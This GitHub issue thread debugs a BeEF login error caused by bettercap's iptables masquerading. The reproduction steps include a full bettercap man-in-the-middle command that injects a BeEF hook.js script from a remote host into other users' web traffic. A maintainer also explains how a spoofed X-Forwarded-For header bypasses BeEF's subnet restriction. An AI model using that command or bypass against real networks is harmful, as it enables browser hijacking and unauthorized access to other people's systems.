Restriction to ui panel on BeEF+Bettercap generates error login

[OscarAkaElvis]

Environment

What version/revision of BeEF are you using?
0.4.7.0-alpha <- on Kali
0.4.7.0-alpha <- on Wifislax

On what version of Ruby?
Tested on two different ruby environments:
ruby 2.3.3p222 (2016-11-21) [x86_64-linux-gnu] <- on Kali
ruby 2.2.5p319 (2016-04-26 revision 54774) [x86_64-linux] <- on Wifislax

On what browser?
Tested on Firefox and Chrome

On what operating system?
Tested on Kali 2016.2 and Wifislax 64
I think is not related to environment because I can reproduce it with different Linux, different ruby versions and different browsers. Unique constant is BeEF version. Could be nice if somebody can test this with other version. Keep reading 🙄

Configuration

Are you using a non-default configuration?
Yes but it doesn't apply. I can reproduce it with default configuration only changing one line:
permitted_ui_subnet: "0.0.0.0/0" -> permitted_ui_subnet: "127.0.0.1/32"

Have you enabled or disabled any BeEF extensions?
No

Summary

Please provide a summary of the issue.
I have an login error "ERROR: invalid username or password" only under special conditions. The user and password are ok (defaults beef/beef). The problem only happens if I restrict the access to ui panel and if combined with Bettercap. I'll explain:

• Executing only BeEF without the ui panel restriction -> this is working fine
• Executing only BeEF with ui panel restriction -> this is working fine too
• Executing BeEF without ui panel restriction + Bettercap -> this is working fine
• Executing BeEF with ui panel restriction + Bettercap -> Error in login "ERROR: invalid username or password"

Of course, user and password is not the problem. I did thousands of tests changing BeEF config and I concluded BeEF config is fine. If somebody has curiosity and wants to know my BeEF's config I can put it on some pastebin or something like that, but I really think is not the point.

Expected Behaviour

What was the expected result?
Successful login.

Actual Behaviour

What was the actual result?
"ERROR: invalid username or password"

Steps to Reproduce

Please provide steps to reproduce this issue.
Execute BeEF with ui panel restriction activated like permitted_ui_subnet: "127.0.0.1/32" and launching bettercap. My bettercap command:
bettercap -I wlan0 -X -S NONE --no-discovery --proxy --proxy-port 8080 --disable-parsers URL,HTTPS,DHCP --no-http-logs --proxy-module injectjs --js-url "http://172.16.0.1:3000/hook.js" --dns-port 5300

Additional Information

Please provide any additional information which may be useful in resolving this issue, such as debugging output and relevant screen shots.
I already opened an issue on Bettercap's github to see if is on Bettercap's side and it seems it doesn't: https://github.com/evilsocket/bettercap/issues/356 . A lot of details there too. And of course, beef dns is disabled. Only one dns is working (bettercap, on BeEF is disabled).

Can anybody test this please? Thank you.

EDIT The conflicting Bettercap part is the proxy. If I launch Bettercap withou proxy, there is no problem, but I don't understand why because I launch proxy for Bettercap on port 8080 and I looked for http requests on BeEF login and all shown are on port 3000 which is not related... and of course there is no iptables involved in the process, so it makes no sense... I tried changing default proxy port on Bettercap using 26210 instead of 8080 and same result.

[bcoles]

Congratulations on posting issue #1337

Sadly, still haven't had time to look into this.

[bcoles]

Having a look at this now. I've been able to reproduce this issue using the bettercap command line arguments provided.

Attempting to log in to BeEF using the 127.0.0.1 interface with permitted UI subnet restricted to 127.0.0.1/32 throws a warning in console (with debug: true in config.yaml) that the IP address is not within the permitted subnet. Strangely, the rejected IP shown is the LAN IP address, not the local interface/IP address.

The HTTP response from BeEF is success: false.

Killing bettercap with CTRL+C then replaying the exact same login request with cURL returns success: true.

Launching bettercap again, then replaying the login request, returns success: false.

Strange.

[bcoles]

This is with latest git build of both bettercap (on Ruby 2.3.3 system) and BeEF (on Ruby 2.30 rbenv).

Tagging @evilsocket to keep you in the loop :)

[bcoles]

The error is present when the --proxy argument is used with bettercap. Starting bettercap, then logging in to BeEF within a second (before the bettercap proxy starts up) is successful.

--allow-local-connections does not help.

[bcoles]

Somehow starting the bettercap proxy is causing requests from local host to local host to route via the LAN IP.

However, modifying lib/bettercap/proxy/http/request.rb reveals that the requests from local to local are not being routed through the proxy - which is good.

I suspect this might be related to iptables...

Interestingly, as an aside, the --allow-local-connections flag will enable the proxy, even if it's not enabled with the --proxy flag. For example:

# The following command *does not launch the proxy*, and logging into BeEF works:
bundle exec bin/bettercap -I eth0 -X --no-spoofing --no-discovery --debug

# The following command *does launch the proxy*, and logging into BeEF does not work:
bundle exec bin/bettercap -I eth0 -X --no-spoofing --no-discovery --debug --allow-local-connections

[bcoles]

@evilsocket back to you.

The iptables rules cause local traffic to masquerade as LAN traffic, causing BeEF to reject the login as it looks like the login is coming from an unauthorized subnet (ie, the LAN interface, not local interface).

Commenting out the following line in lib/bettercap/firewalls/linux.rb:79 will "fix" this issue:

  Shell.execute("#{table} -t nat -I POSTROUTING -s 0/0 -j MASQUERADE")

Not sure of the best fix for this with breaking bettercap?

[bcoles]

@OscarAkaElvis Thanks for reporting this issue. This is in fact an issue with bettercap rather than BeEF and as such is out of our jurisdiction.

On a related note, it's worth noting that the permitted_ui_subnet directive can only be trusted if a /32 subnet is specified. More permissive subnets such as /24 can be bypassed if a remote attacker can successfully guess a valid IP address in the permitted IP range and provide the IP address in the the X-Forwarded-For HTTP header.

Unfortunately, BeEF trusts the X-Forwarded-For header in the default configuration as BeEF should usually be operating behind a reverse proxy in an internet-facing environment. Using a reverse proxy which validates the X-Forwarded-For header would also mitigate the bypass.

A beef.http.use_x_forward_for configuration directive exists, however it is used only for zombie browsers and not for the UI. While there's a plan to also implement this for the UI, we're short on developer bandwidth to implement it, as evidenced by the six month delay in replying to this issue.

For more details, refer to #1354

[OscarAkaElvis]

Very interesting... will see if finally something can be done about this. Thanks for dig into this.

[bcoles]

Simone has fixed this in bettercap a couple days ago. Please let us know if you have any issues.

Closing this issue.